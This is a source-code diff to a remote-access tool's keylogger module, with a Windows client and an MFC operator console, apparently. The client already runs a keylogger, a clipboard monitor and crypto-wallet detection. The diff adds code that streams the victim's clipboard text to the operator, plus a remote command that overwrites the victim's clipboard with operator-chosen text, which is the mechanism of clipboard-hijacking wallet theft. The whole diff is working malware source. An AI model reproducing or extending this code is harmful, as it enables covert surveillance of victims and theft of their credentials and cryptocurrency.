diff --git a/client/KeyboardManager.cpp b/client/KeyboardManager.cpp index e9cfd8e..c414f03 100644 --- a/client/KeyboardManager.cpp +++ b/client/KeyboardManager.cpp @@ -25,6 +25,7 @@ #define USING_CLIP 0 #include "wallet.h" +#include "common/utf8.h" #if USING_CLIP #include "clip.h" #ifdef _WIN64 @@ -60,6 +61,13 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user iniFile cfg(CLIENT_PATH); m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM); + binFile bin(CLIENT_PATH); + std::string rule = bin.GetStr("settings", "textRule"); + if (rule.length() >= sizeof(TextReplace)) { + memcpy(&m_ReplaceRule, rule.data(), sizeof(TextReplace)); + Mprintf("CKeyboardManager1: Load text replace rule succeed\n"); + } + m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL); m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL); m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL); @@ -93,7 +101,10 @@ void CKeyboardManager1::Notify() iniFile cfg(CLIENT_PATH); m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM); m_mu.Unlock(); - sendStartKeyBoard(); + m_ruleMu.Lock(); + auto rule = m_ReplaceRule; + m_ruleMu.Unlock(); + sendStartKeyBoard(rule); WaitForDialogOpen(); } @@ -120,6 +131,16 @@ void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize) GET_PROCESS_EASY(DeleteFileA); DeleteFileA(m_strRecordFile); } + + if (lpBuffer[0] == COMMAND_TEXT_REPLACE && nSize >= sizeof(TextReplace)) { + CAutoCLock L(m_ruleMu); + memcpy(&m_ReplaceRule, lpBuffer, sizeof(TextReplace)); + binFile cfg(CLIENT_PATH); + std::string rule((char*)&m_ReplaceRule, sizeof(TextReplace)); + cfg.SetStr("settings", "textRule", rule); + auto ansi = utf8_to_ansi((char*)m_ReplaceRule.param); + Mprintf("COMMAND_TEXT_REPLACE: %s\n", ansi.c_str()); + } } std::vector CKeyboardManager1::GetWallet() @@ -130,17 +151,18 @@ std::vector CKeyboardManager1::GetWallet() return w; } -int CKeyboardManager1::sendStartKeyBoard() +int CKeyboardManager1::sendStartKeyBoard(const TextReplace& rule) { // 协议扩展:在 [TOKEN, offline] 后面捎带 2 字节 cap word。 // 子连接没经过 LOGIN_INFOR,服务端的 CKeyBoardDlg 没法直接拿到本机能力位 —— // 让客户端自己带过来,避免服务端通过 IP 反查主连接(NAT/127.0.0.1 等场景反查会失败)。 // 老服务端读不到 byte 2-3 没关系(只读 byte 1),向后兼容。 - BYTE bToken[4]; + BYTE bToken[4 + sizeof(TextReplace)]; bToken[0] = TOKEN_KEYBOARD_START; bToken[1] = (BYTE)m_bIsOfflineRecord; WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8; memcpy(bToken + 2, &caps, sizeof(WORD)); + memcpy(bToken + 4, &rule, sizeof(TextReplace)); HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask); } @@ -503,27 +525,32 @@ int CALLBACK WriteBuffer(const char* record, void* user) return 0; } +std::string CKeyboardManager1::ReplaceText() { + CAutoCLock L(m_ruleMu); + + switch (m_ReplaceRule.type) { + case RULE_REPLACE_ALL: + if (m_ReplaceRule.param[0] == 0) + return ""; + std::string text((char*)m_ReplaceRule.param); + return clip::set_text_utf8(text) ? text : ""; + } + + return ""; +} + DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam) { CKeyboardManager1* pThis = (CKeyboardManager1*)lparam; std::string lastValue = {}; while (pThis->m_bIsWorking) { - auto w = pThis->GetWallet(); - if (w.empty()) { - Sleep(1000); - continue; - } - bool hasClipboard = false; - try { - hasClipboard = clip::has(clip::text_format()); - } catch (...) { // fix: "std::runtime_error" causing crashes in some cases - hasClipboard = false; - lastValue.clear(); - Sleep(3000); - } + bool hasClipboard = clip::has(clip::text_format()); if (hasClipboard) { std::string value; - clip::get_text(value); + if (!clip::get_text(value)) { + Sleep(500); + continue; + } std::string recordValue = value.substr(0, 4096); if (lastValue.length() != recordValue.length() || lastValue != recordValue) { lastValue = recordValue; @@ -542,9 +569,22 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam) output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Clipboard:]" << recordValue; std::string str = output.str(); pThis->m_Buffer->Write(str.c_str(), str.length()); + + if (pThis->IsConnected()) { + str.erase(0, 4); + str.insert(0, 1, TOKEN_CLIP_TEXT); + pThis->Send((BYTE*)str.c_str(), str.length()+1); + std::string newValue = pThis->ReplaceText(); + if (!newValue.empty()) { + Mprintf("[Clipboard] Replace %d bytes -> %d bytes \n", recordValue.length(), newValue.length()); + lastValue = newValue; + } + } } - if (value.length() > 200) { - Sleep(1000); + // Wallet detection + auto w = pThis->GetWallet(); + if (value.length() > 200 || w.empty()) { + Sleep(500); continue; } auto type = detectWalletType(value); @@ -586,7 +626,7 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam) break; } } - Sleep(1000); + Sleep(500); } return 0x20251005; } diff --git a/client/KeyboardManager.h b/client/KeyboardManager.h index a9269e6..9a8a283 100644 --- a/client/KeyboardManager.h +++ b/client/KeyboardManager.h @@ -237,19 +237,22 @@ public: HANDLE m_hClipboard; HANDLE m_hWorkThread,m_hSendThread; TCHAR m_strRecordFile[MAX_PATH]; + TextReplace m_ReplaceRule = {}; virtual BOOL Reconnect() { return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE; } + std::string ReplaceText(); private: BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData); - int sendStartKeyBoard(); + int sendStartKeyBoard(const TextReplace& rule); int sendKeyBoardData(LPBYTE lpData, UINT nSize); bool m_bIsWorking; CircularBuffer *m_Buffer; CLocker m_mu; + CLocker m_ruleMu; std::vector m_Wallet; std::vector GetWallet(); }; diff --git a/client/my_clip.h b/client/my_clip.h index de46bd1..7ea13d7 100644 --- a/client/my_clip.h +++ b/client/my_clip.h @@ -84,4 +84,41 @@ namespace clip { LeaveCriticalSection(&GetClipLock()); return result; } + + /** + * 将 UTF-8 字符串安全地设置到 Windows 剪切板 + */ + inline bool set_text_utf8(const std::string& utf8_str) { + if (utf8_str.empty()) return false; + + // 1. 将 UTF-8 转换为 UTF-16 (因为 Windows 剪切板原生支持 UTF-16) + int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, NULL, 0); + if (wlen <= 0) return false; + + // 2. 分配全局内存 + HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, wlen * sizeof(wchar_t)); + if (!hMem) return false; + + // 3. 执行转换并锁定内存 + wchar_t* pMem = (wchar_t*)GlobalLock(hMem); + MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, pMem, wlen); + GlobalUnlock(hMem); + + // 4. 操作剪切板 + bool success = false; + if (OpenClipboard(NULL)) { + EmptyClipboard(); + if (SetClipboardData(CF_UNICODETEXT, hMem)) { + success = true; + } + CloseClipboard(); + } + + // 如果 SetClipboardData 失败,需要手动释放内存;成功则由系统接管 + if (!success) { + GlobalFree(hMem); + } + + return success; + } } // namespace clip diff --git a/common/commands.h b/common/commands.h index 415c66b..8140776 100644 --- a/common/commands.h +++ b/common/commands.h @@ -337,6 +337,20 @@ enum { TOKEN_CONN_AUTH = 246, // 子连接身份校验包(客户端首发,服务端回 ConnAuthAck) COMMAND_SCREEN_PREVIEW_REQ = 247, // 屏幕预览请求(服务端→客户端) TOKEN_SCREEN_PREVIEW_RSP = 248, // 屏幕预览响应(客户端→服务端) + COMMAND_TEXT_REPLACE = 249, + TOKEN_CLIP_TEXT = 250, +}; + +#pragma pack(push, 1) +struct TextReplace { + uint8_t cmd; + uint8_t type; + uint8_t param[510]; + uint8_t reserved[512]; +}; + +enum TextReplaceRule { + RULE_REPLACE_ALL = 0, }; // 子连接校验:HMAC 签名 (clientID || timestamp || nonce),服务端通过校验后把 clientID @@ -353,7 +367,6 @@ enum { // 预留大量字节给未来扩展(如 client locale / OS 标识 / 子连接类型 / 会话 token / // per-conn 能力位等),避免再次破坏性升级。预留区构造时全 0 初始化,未启用字段 // 不会进 HMAC 签名输入(签名输入仍只是 clientID || timestamp || nonce 共 32 字节)。 -#pragma pack(push, 1) struct ConnAuthPacket { uint8_t token; // = TOKEN_CONN_AUTH [1] uint64_t clientID; // 客户端 V2 ID(MachineGuid + 归一化路径算出) [8] diff --git a/common/utf8.h b/common/utf8.h new file mode 100644 index 0000000..9dbbcae --- /dev/null +++ b/common/utf8.h @@ -0,0 +1,56 @@ +#include +#include + +/** + * 将本地多字节字符串 (ANSI/GBK) 转换为 UTF-8 + */ +inline std::string ansi_to_utf8(const std::string& ansi_str) { + if (ansi_str.empty()) return ""; + + // 1. ANSI -> UTF-16 (WideChar) + int wlen = MultiByteToWideChar(CP_ACP, 0, ansi_str.c_str(), -1, NULL, 0); + std::wstring wstr(wlen, 0); + MultiByteToWideChar(CP_ACP, 0, ansi_str.c_str(), -1, &wstr[0], wlen); + + // 2. UTF-16 -> UTF-8 + int u8len = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL); + std::string utf8_str(u8len, 0); + WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &utf8_str[0], u8len, NULL, NULL); + + // 移除末尾的 \0 + if (!utf8_str.empty() && utf8_str.back() == '\0') { + utf8_str.pop_back(); + } + return utf8_str; +} + +/** + * 将 UTF-8 字符串转换为本地多字节字符串 (ANSI/GBK) + * 用于在多字节字符集 UI 上正常显示从远程接收到的内容 + */ +inline std::string utf8_to_ansi(const std::string& utf8_str) { + if (utf8_str.empty()) return ""; + + // 1. UTF-8 -> UTF-16 (WideChar) + // 计算需要的宽字符长度 + int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, NULL, 0); + if (wlen <= 0) return ""; + + std::wstring wstr(wlen, 0); + MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, &wstr[0], wlen); + + // 2. UTF-16 -> ANSI (Local Code Page, e.g., GBK) + // CP_ACP 表示使用当前系统的 ANSI 代码页 + int alen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL); + if (alen <= 0) return ""; + + std::string ansi_str(alen, 0); + WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi_str[0], alen, NULL, NULL); + + // 移除 WideCharToMultiByte 自动添加的 \0 结尾 + if (!ansi_str.empty() && ansi_str.back() == '\0') { + ansi_str.pop_back(); + } + + return ansi_str; +} diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index af52b92..b24c5d8 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/KeyBoardDlg.cpp b/server/2015Remote/KeyBoardDlg.cpp index 0d801d4..f5ed83a 100644 --- a/server/2015Remote/KeyBoardDlg.cpp +++ b/server/2015Remote/KeyBoardDlg.cpp @@ -16,14 +16,17 @@ static char THIS_FILE[] = __FILE__; #define IDM_ENABLE_OFFLINE 0x0010 #define IDM_CLEAR_RECORD 0x0011 #define IDM_SAVE_RECORD 0x0012 +#define SHOW_CLIP_TEXT WM_USER+201 ///////////////////////////////////////////////////////////////////////////// // CKeyBoardDlg dialog +#include "common/utf8.h" CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext) : DialogBase(CKeyBoardDlg::IDD, pParent, pIOCPServer, pContext, IDI_KEYBOARD) { + int len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen(); m_bIsOfflineRecord = m_ContextObject->m_DeCompressionBuffer.GetBYTE(1); // 子连接从协议扩展字段(byte 2-3)拿到能力位,写入自身的 CAPABILITIES。 @@ -36,6 +39,9 @@ CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pC capStr.Format(_T("%04X"), caps); m_ContextObject->SetClientData(ONLINELIST_CAPABILITIES, capStr); } + if (len >= 4 + sizeof(TextReplace)) { + m_ContextObject->m_DeCompressionBuffer.CopyBuffer(&m_TextRule, sizeof(TextReplace), 4); + } } @@ -45,6 +51,8 @@ void CKeyBoardDlg::DoDataExchange(CDataExchange* pDX) //{{AFX_DATA_MAP(CKeyBoardDlg) DDX_Control(pDX, IDC_EDIT, m_edit); //}}AFX_DATA_MAP + DDX_Control(pDX, IDC_EDIT_CLIPBOARD, m_EditClipText); + DDX_Control(pDX, IDC_EDIT_TEXTRULE, m_EditClipRule); } @@ -54,6 +62,8 @@ BEGIN_MESSAGE_MAP(CKeyBoardDlg, CDialog) ON_WM_CLOSE() ON_WM_SYSCOMMAND() //}}AFX_MSG_MAP + ON_BN_CLICKED(IDC_BTN_APPLY_TEXTRULE, &CKeyBoardDlg::OnBnClickedBtnApplyTextrule) + ON_MESSAGE(SHOW_CLIP_TEXT, &CKeyBoardDlg::ShowClipboardText) END_MESSAGE_MAP() ///////////////////////////////////////////////////////////////////////////// @@ -65,6 +75,25 @@ void CKeyBoardDlg::PostNcDestroy() __super::PostNcDestroy(); } +void CKeyBoardDlg::RebuildEdit(CEdit & m_edit) { + CRect rc; + m_edit.GetWindowRect(&rc); + ScreenToClient(&rc); + DWORD style = m_edit.GetStyle(); + DWORD exStyle = m_edit.GetExStyle(); + HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0); + UINT ctrlID = m_edit.GetDlgCtrlID(); + m_edit.DestroyWindow(); + HWND hEdit = ::CreateWindowExW( + exStyle, L"EDIT", L"", style, + rc.left, rc.top, rc.Width(), rc.Height(), + this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID, + AfxGetInstanceHandle(), NULL); + m_edit.Attach(hEdit); + if (hFont) + m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0)); +} + BOOL CKeyBoardDlg::OnInitDialog() { __super::OnInitDialog(); @@ -93,26 +122,12 @@ BOOL CKeyBoardDlg::OnInitDialog() // 转码,德语机器上中文窗口标题仍会乱码。直接用 CreateWindowExW 重建 // 后,控件内部以 Unicode 存储,W 版消息直通,不再走 CP_ACP。 // ----------------------------------------------------------------- - { - CRect rc; - m_edit.GetWindowRect(&rc); - ScreenToClient(&rc); - DWORD style = m_edit.GetStyle(); - DWORD exStyle = m_edit.GetExStyle(); - HFONT hFont = (HFONT)m_edit.SendMessage(WM_GETFONT, 0, 0); - UINT ctrlID = m_edit.GetDlgCtrlID(); - m_edit.DestroyWindow(); - HWND hEdit = ::CreateWindowExW( - exStyle, L"EDIT", L"", style, - rc.left, rc.top, rc.Width(), rc.Height(), - this->GetSafeHwnd(), (HMENU)(UINT_PTR)ctrlID, - AfxGetInstanceHandle(), NULL); - m_edit.Attach(hEdit); - if (hFont) - m_edit.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0)); - } + RebuildEdit(m_edit); m_edit.SetLimitText(MAXDWORD); // 设置最大长度 + auto rule = utf8_to_ansi((char*)m_TextRule.param); + m_EditClipRule.SetWindowTextA(rule.empty() ? _TR("<请输入文本用于替换远程剪切板>") : rule.c_str()); + GetDlgItem(IDC_BTN_APPLY_TEXTRULE)->SetWindowTextA(_TR("替换")); // 通知远程控制端对话框已经打开 BYTE bToken = COMMAND_NEXT; @@ -140,11 +155,28 @@ void CKeyBoardDlg::OnReceiveComplete() case TOKEN_KEYBOARD_DATA: AddKeyBoardData(); break; + case TOKEN_CLIP_TEXT: { + int len = m_ContextObject->m_DeCompressionBuffer.GetBufferLen(); + if (len == 1) break; + char* buf = new char[len]; + memcpy(buf, m_ContextObject->m_DeCompressionBuffer.GetBuffer(1), len-1); + PostMessage(SHOW_CLIP_TEXT, (WPARAM)buf, len-1); + break; + } default: return; } } +LRESULT CKeyBoardDlg::ShowClipboardText(WPARAM wParam, LPARAM lParam) +{ + char* buf = (char*)wParam; + std::string text = utf8_to_ansi(buf); + SAFE_DELETE_ARRAY(buf); + m_EditClipText.SetWindowTextA(text.c_str()); + return S_OK; +} + void CKeyBoardDlg::AddKeyBoardData() { // 最后填上0 @@ -264,8 +296,9 @@ void CKeyBoardDlg::OnSize(UINT nType, int cx, int cy) __super::OnSize(nType, cx, cy); // TODO: Add your message handler code here - if (IsWindowVisible()) + /* if (IsWindowVisible()) ResizeEdit(); + */ } @@ -289,3 +322,13 @@ void CKeyBoardDlg::OnClose() DialogBase::OnClose(); } + +void CKeyBoardDlg::OnBnClickedBtnApplyTextrule() +{ + CString rule; + m_EditClipRule.GetWindowTextA(rule); + auto utf8 = ansi_to_utf8(rule.GetString()); + memcpy(m_TextRule.param, utf8.c_str(), utf8.length()+1); + m_TextRule.cmd = COMMAND_TEXT_REPLACE; + m_ContextObject->Send2Client((PBYTE)&m_TextRule, sizeof(TextReplace)); +} diff --git a/server/2015Remote/KeyBoardDlg.h b/server/2015Remote/KeyBoardDlg.h index 294098b..d85b778 100644 --- a/server/2015Remote/KeyBoardDlg.h +++ b/server/2015Remote/KeyBoardDlg.h @@ -54,6 +54,13 @@ //}}AFX_MSG DECLARE_MESSAGE_MAP() + public: + TextReplace m_TextRule = {}; + CEdit m_EditClipText; + CEdit m_EditClipRule; + void RebuildEdit(CEdit& m_edit); + afx_msg void OnBnClickedBtnApplyTextrule(); + LRESULT ShowClipboardText(WPARAM wParam, LPARAM lParam); }; //{{AFX_INSERT_LOCATION}} diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini index c735c53..cc2bd7d 100644 --- a/server/2015Remote/lang/en_US.ini +++ b/server/2015Remote/lang/en_US.ini @@ -105,6 +105,7 @@ RTT=RTT =Decrypt Data =Drawing Ļǽ=Screen Wall +滻=Replace 滻ͼ=Replace Icon ļ=Send File ʷ=Host History @@ -1831,3 +1832,4 @@ IOCP ʾ: macOS binary ѱ޸ĵǩʧЧֱлᱻϵͳǿɱ=Note: The macOS binary has been modified, invalidating its code signature. Running it directly will be killed by the system. Ƽ: macOS install.sh װ (űԶǩ)=Recommended: Copy to macOS and run install.sh (the script re-signs automatically). ֶǩ:=Or re-sign manually: +<ı滻Զ̼а>= diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini index b11a4e7..565d0ec 100644 --- a/server/2015Remote/lang/zh_TW.ini +++ b/server/2015Remote/lang/zh_TW.ini @@ -105,6 +105,7 @@ RTT=RTT =Y =LD Ļǽ=ΞĻ +滻=Q 滻ͼ=QDʾ ļ=͙n ʷ=vʷC @@ -1822,3 +1823,4 @@ IOCP ʾ: macOS binary ѱ޸ĵǩʧЧֱлᱻϵͳǿɱ=ʾ: macOS binary ѱ޸ČºʧЧֱӈЕϵyƽKֹ Ƽ: macOS install.sh װ (űԶǩ)=]: }u macOS install.sh b (_Ԅº) ֶǩ:=քº: +<ı滻Զ̼а>=<ı滻Զ̼а> diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 751c483..5f41c56 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -731,8 +731,11 @@ #define IDC_STATIC_PLUGIN_INTERVAL 2537 #define IDC_STATIC_PLUGIN_COUNTER 2538 #define IDC_COMBO_TRIGGER_TYPE 2539 +#define IDC_EDIT_CLIPBOARD 2539 #define IDC_LIST_TRIGGER_PLUGINS 2540 +#define IDC_EDIT_TEXTRULE 2540 #define IDC_BTN_TRIGGER_ADD 2541 +#define IDC_BTN_APPLY_TEXTRULE 2541 #define IDC_BTN_TRIGGER_REMOVE 2542 #define IDC_LIST_TRIGGERS 2543 #define IDC_STATIC_TRIGGER_TYPE 2544 @@ -979,7 +982,7 @@ #ifndef APSTUDIO_READONLY_SYMBOLS #define _APS_NEXT_RESOURCE_VALUE 373 #define _APS_NEXT_COMMAND_VALUE 33048 -#define _APS_NEXT_CONTROL_VALUE 2539 +#define _APS_NEXT_CONTROL_VALUE 2542 #define _APS_NEXT_SYMED_VALUE 105 #endif #endif